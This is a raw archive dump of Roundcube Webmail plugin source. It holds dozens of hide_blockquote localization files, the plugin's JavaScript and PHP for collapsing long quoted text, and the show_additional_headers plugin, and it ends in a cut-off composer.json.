PKh�\:eƉGG.plugins/hide_blockquote/localization/bn_BD.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['show'] = 'দেখানো';
PKh�\�����.plugins/hide_blockquote/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Masquer';
$labels['show'] = 'Montrer';
$labels['quotelimit'] = 'Masquer la citation quand le nombre de lignes est supérieur à';
PKh�\�Q�3��.plugins/hide_blockquote/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Sakrij';
$labels['show'] = 'Pokaži';
$labels['quotelimit'] = 'Sakrij citat ako broj linija prelazi';
PKh�\��7X��.plugins/hide_blockquote/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ukryj';
$labels['show'] = 'Pokaż';
$labels['quotelimit'] = 'Ukryj blok cytatu gdy liczba linii jest większa od';
PKh�\�����.plugins/hide_blockquote/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = '隠す';
$labels['show'] = '表示';
$labels['quotelimit'] = '次の行数より多い引用を非表示';
PKh�\�S�(��.plugins/hide_blockquote/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Gøym';
$labels['show'] = 'Vis';
$labels['quotelimit'] = 'Gøym sitat når talet på linjer er større enn';
PKh�\�6뀲�,plugins/hide_blockquote/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Anubrir';
$labels['show'] = 'Amosar';
$labels['quotelimit'] = 'Anubrir la citación cuando la cuenta de llinies seya mayor de';
PKh�\]X`���.plugins/hide_blockquote/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Сакриј';
$labels['show'] = 'Прикажи';
$labels['quotelimit'] = 'Сакриј цитат када је број редова већи од';
PKh�\[�+��.plugins/hide_blockquote/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Verstoppen';
$labels['show'] = 'Weisen';
$labels['quotelimit'] = 'Zitat verstoppe wann d\'Zeilenunzuel méi grouss ass ewéi';
PKh�\�G��??.plugins/hide_blockquote/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['show'] = 'نمایش';
PKh�\�����+plugins/hide_blockquote/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Kuzhat';
$labels['show'] = 'Diskouez';
$labels['quotelimit'] = 'Kuzhat ar meneg pa\'z\'eo re uhel niver a linennnoù eus';
PKh�\�_O&JJ.plugins/hide_blockquote/localization/ka_GE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['show'] = 'ჩვენება';
PKh�\>�r\��.plugins/hide_blockquote/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Скриј ';
$labels['show'] = 'Покажи';
$labels['quotelimit'] = 'Скриј цитат кога бројот на линии е поголем од';
PKh�\.�МMM.plugins/hide_blockquote/localization/kn_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['show'] = 'ತೋರಿಸು';
PKh�\��Qn��.plugins/hide_blockquote/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'លាក់';
$labels['show'] = 'បង្ហាញ';
$labels['quotelimit'] = 'លាក់​អត្ថបទ​សម្រង់​ពេល​ចំនួន​ជួរ​ធំ​ជាង';
PKh�\������.plugins/hide_blockquote/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Нуух';
$labels['show'] = 'Харах';
$labels['quotelimit'] = 'Хэрвээ мөрийн тоо дараахаас их бол ишлэлийг харуулахгүй:';
PKh�\�����.plugins/hide_blockquote/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'הסתר';
$labels['show'] = 'הצג';
$labels['quotelimit'] = 'הסתר ציטוט כאשר מספר השורות גדול מ-';
PKh�\���%��.plugins/hide_blockquote/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Folaigh';
$labels['show'] = 'Taispeáin';
$labels['quotelimit'] = 'Folaigh an lua nuair a bhíonn líon na línte níos mó ná';
PKh�\����.plugins/hide_blockquote/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Skjul';
$labels['show'] = 'Vis';
$labels['quotelimit'] = 'Skjul citat når antallet af linjer er højere end';
PKh�\O� ��.plugins/hide_blockquote/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Skrij';
$labels['show'] = 'Prikaži';
$labels['quotelimit'] = 'Skrij citiran tekst, ko je število vrstic večje od';
PKh�\h�dj��+plugins/hide_blockquote/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'إخفاء';
$labels['show'] = 'إظهار';
$labels['quotelimit'] = 'إخفاء الإقتباس إذا كان عدد الأسطر أكبر مِن';
PKh�\�/-ѥ�.plugins/hide_blockquote/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'ausblenden';
$labels['show'] = 'einblenden';
$labels['quotelimit'] = 'Zitate verbergen ab einer Zeilenlänge von';
PKh�\(y����.plugins/hide_blockquote/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Dölj';
$labels['show'] = 'Visa';
$labels['quotelimit'] = 'Dölj citat när antalet rader överstiger';
PKh�\Z�����+plugins/hide_blockquote/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'يۇشۇرۇش';
$labels['show'] = 'كۆرسىتىش';
$labels['quotelimit'] = 'قۇر سانى چوڭ بولغاندا نەقىلنى يۇشۇرۇش';
PKh�\��
��.plugins/hide_blockquote/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = '숨기기';
$labels['show'] = '표시';
$labels['quotelimit'] = '행 개수가 다음보다 많을 때 인용구를 숨김:';
PKh�\�|C��.plugins/hide_blockquote/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Agochar';
$labels['show'] = 'Amosar';
$labels['quotelimit'] = 'Agochar mencións cando haxa demasiadas liñas';
PKh�\�|��.plugins/hide_blockquote/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Nascondi';
$labels['show'] = 'Mostra';
$labels['quotelimit'] = 'Nascondi la citazione quando il numero di righe è maggiore di';
PKh�\$yF���.plugins/hide_blockquote/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ocultar';
$labels['show'] = 'Mostrar';
$labels['quotelimit'] = 'Ocultar la cita cuando el número de lineas es mayor que';
PKh�\_Qv�JJ.plugins/hide_blockquote/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'മറയ്ക്കുക';
$labels['show'] = 'പ്രദർശിപ്പിക്കുക';
$labels['quotelimit'] = 'ഇതിലും കൂടുതലാണ് വരികളുടെ എണ്ണമെങ്കിൽ അവലംബം മറയ്ക്കുക';
PKh�\$����.plugins/hide_blockquote/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Verbergen';
$labels['show'] = 'Tonen';
$labels['quotelimit'] = 'Verberg citaat wanneer aantal regels groter is dan';
PKh�\��Z��.plugins/hide_blockquote/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Cuddio';
$labels['show'] = 'Dangos';
$labels['quotelimit'] = 'Cuddio dyfynniad pan mae\'r nifer o linellau yn fwy na';
PKh�\Z����.plugins/hide_blockquote/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Hide';
$labels['show'] = 'Show';
$labels['quotelimit'] = 'Hide citation when lines count is greater than';
PKh�\�W�4��.plugins/hide_blockquote/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Goym';
$labels['show'] = 'Vís';
$labels['quotelimit'] = 'Goym stevning tá ið tað eru meiri reglur enn';
PKh�\l����.plugins/hide_blockquote/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Paslėpti';
$labels['show'] = 'Parodyti';
$labels['quotelimit'] = 'Paslėpti citatą, kai joje eilučių daugiau negu';
PKh�\�W��.plugins/hide_blockquote/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Ocultar';
$labels['show'] = 'Mostrar';
$labels['quotelimit'] = 'Ocultar citação quando o número de linhas for maior que';
PKh�\k`��.plugins/hide_blockquote/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Hide-Blockquote plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-hide_blockquote/
*/

$labels['hide'] = 'Αποκρυψη';
$labels['show'] = 'Εμφάνιση';
$labels['quotelimit'] = 'Απόκρυψη παραπομπων όταν ο αριθμός γραμμών είναι μεγαλύτερος από';
PKh�\\�&�vv*plugins/hide_blockquote/hide_blockquote.jsnu�[���/**
 * Hide Blockquotes plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

if (window.rcmail)
  rcmail.addEventListener('init', function() { hide_blockquote(); });

function hide_blockquote()
{
  var limit = rcmail.env.blockquote_limit;

  if (limit <= 0)
    return;

  $('div.message-part div.pre > blockquote', $('#messagebody')).each(function() {
    var res, text, div, link, q = $(this);

    // Add new-line character before each blockquote
    // This fixes counting lines of text, it also prevents
    // from merging lines from different quoting level
    $('blockquote').before(document.createTextNode("\n"));

    text = q.text().trim();
    res = text.split(/\n/);

    if (res.length <= limit) {
      // there can be also a block with very long wrapped line
      // assume line height = 15px
      if (q.height() <= limit * 15)
        return;
    }

    div = $('<blockquote class="blockquote-header">')
      .css({'white-space': 'nowrap', overflow: 'hidden', position: 'relative'})
      .text(res[0]);

    link = $('<span class="blockquote-link"></span>')
      .css({position: 'absolute', 'z-Index': 2})
      .text(rcmail.get_label('hide_blockquote.show'))
      .data('parent', div)
      .click(function() {
        var t = $(this), parent = t.data('parent'), visible = parent.is(':visible');

        t.text(rcmail.get_label(visible ? 'hide' : 'show', 'hide_blockquote'))
          .detach().appendTo(visible ? q : parent).toggleClass('collapsed');

        parent[visible ? 'hide' : 'show']();
        q[visible ? 'show' : 'hide']();
      });

    link.appendTo(div);

    // Modify blockquote
    q.hide().css({position: 'relative'}).before(div);
  });
}
PKh�\��
LL+plugins/hide_blockquote/hide_blockquote.phpnu�[���<?php

/**
 * Quotation block hiding
 *
 * Plugin that adds a possibility to hide long blocks of cited text in messages.
 *
 * Configuration:
 * // Minimum number of citation lines. Longer citation blocks will be hidden.
 * // 0 - no limit (no hiding).
 * $config['hide_blockquote_limit'] = 0;
 *
 * @license GNU GPLv3+
 * @author Aleksander Machniak <alec@alec.pl>
 */
class hide_blockquote extends rcube_plugin
{
    public $task = 'mail|settings';

    /**
     * Plugin initialization
     */
    function init()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->task == 'mail'
            && ($rcmail->action == 'preview' || $rcmail->action == 'show')
            && ($limit = $rcmail->config->get('hide_blockquote_limit'))
        ) {
            // include styles
            $this->include_stylesheet($this->local_skin_path() . "/style.css");

            // Script and localization
            $this->include_script('hide_blockquote.js');
            $this->add_texts('localization', true);

            // set env variable for client
            $rcmail->output->set_env('blockquote_limit', $limit);
        }
        else if ($rcmail->task == 'settings') {
            $dont_override = $rcmail->config->get('dont_override', []);
            if (!in_array('hide_blockquote_limit', $dont_override)) {
                $this->add_hook('preferences_list', [$this, 'prefs_table']);
                $this->add_hook('preferences_save', [$this, 'prefs_save']);
            }
        }
    }

    /**
     * Hook to inject plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_table($args)
    {
        if ($args['section'] != 'mailview') {
            return $args;
        }

        $this->add_texts('localization');

        $rcmail   = rcmail::get_instance();
        $limit    = (int) $rcmail->config->get('hide_blockquote_limit');
        $field_id = 'hide_blockquote_limit';
        $input    = new html_inputfield([
                'name'  => '_' . $field_id,
                'id'    => $field_id,
                'size'  => 5,
                'class' => 'form-control'
        ]);

        $args['blocks']['main']['options']['hide_blockquote_limit'] = [
            'title'   => html::label($field_id, $this->gettext('quotelimit')),
            'content' => $input->show($limit ?: '')
        ];

        return $args;
    }

    /**
     * Hook to save plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_save($args)
    {
        if ($args['section'] == 'mailview') {
            $args['prefs']['hide_blockquote_limit'] = (int) rcube_utils::get_input_value('_hide_blockquote_limit', rcube_utils::INPUT_POST);
        }

        return $args;
    }
}
PKh�\Y�S�I
I
;plugins/show_additional_headers/show_additional_headers.phpnu�[���<?php

/**
 * Show additional message headers
 *
 * Proof-of-concept plugin which will fetch additional headers
 * and display them in the message view.
 *
 * Enable the plugin in config.inc.php and add your desired headers:
 *   $config['show_additional_headers'] = ['User-Agent'];
 *
 * @author Thomas Bruederli
 * @license GNU GPLv3+
 */
class show_additional_headers extends rcube_plugin
{
    public $task = 'mail';

    /**
     * Plugin initialization
     */
    function init()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->action == 'show' || $rcmail->action == 'preview') {
            $this->add_hook('storage_init', [$this, 'storage_init']);
            $this->add_hook('message_headers_output', [$this, 'message_headers']);
        }
        else if ($rcmail->action == '') {
            // with enabled_caching we're fetching additional headers before show/preview
            $this->add_hook('storage_init', [$this, 'storage_init']);
        }
    }

    /**
     * Handler for 'storage_init' hook, where we tell the core to
     * fetch specified additional headers from IMAP.
     *
     * @params array @p Hook parameters
     *
     * @return array Modified hook parameters
     */
    function storage_init($p)
    {
        $rcmail      = rcmail::get_instance();
        $add_headers = $rcmail->config->get('show_additional_headers', []);

        if (!empty($add_headers)) {
            $add_headers = strtoupper(join(' ', (array) $add_headers));
            if (isset($p['fetch_headers'])) {
                $p['fetch_headers'] .= ' ' . $add_headers;
            }
            else {
                $p['fetch_headers'] = $add_headers;
            }
        }

        return $p;
    }

    /**
     * Handler for 'message_headers_output' hook, where we add the additional
     * headers to the output.
     *
     * @params array @p Hook parameters
     *
     * @return array Modified hook parameters
     */
    function message_headers($p)
    {
        $rcmail      = rcmail::get_instance();
        $add_headers = $rcmail->config->get('show_additional_headers', []);

        foreach ((array) $add_headers as $header) {
            if ($value = $p['headers']->get($header)) {
                if (is_array($value)) {
                    foreach ($value as $idx => $v) {
                        $p['output']["$header:$idx"] = ['title' => $header, 'value' => $v];
                    }
                }
                else {
                    $p['output'][$header] = ['title' => $header, 'value' => $value];
                }
            }
        }

        return $p;
    }
}
PKh�\P�X��-plugins/show_additional_headers/composer.jsonnu�[���{
    "name": "roundcube/show_additional_headers",
